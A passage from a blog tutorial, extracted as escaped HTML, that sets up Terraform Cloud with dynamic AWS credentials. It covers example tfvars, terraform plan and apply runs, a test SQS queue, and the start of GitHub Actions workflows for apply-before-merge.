style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* These variables tell the agent to use dynamic credentials */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-auth\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_PROVIDER_AUTH\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Enable dynamic auth on the TFC agents\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github. So the first pass will apply without it\nand then later on we will create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we will get our\ninfrastructure applied. Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account. This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eTerraform has been successfully initialized!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform plan\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ePlan: 10 to add, 0 to change, 0 to destroy.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou have cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cd\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e cloud\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e workspaces\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e default_tags\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tags\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Owner \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Env \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Service \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we will use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e message_retention_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\nwill stop streaming the logs, but will not stop the plan running remotely.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources! The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we will remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e.terraform*\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI do not like apply-after-merge. There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I will show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e. We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e workflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e └──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we will create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre 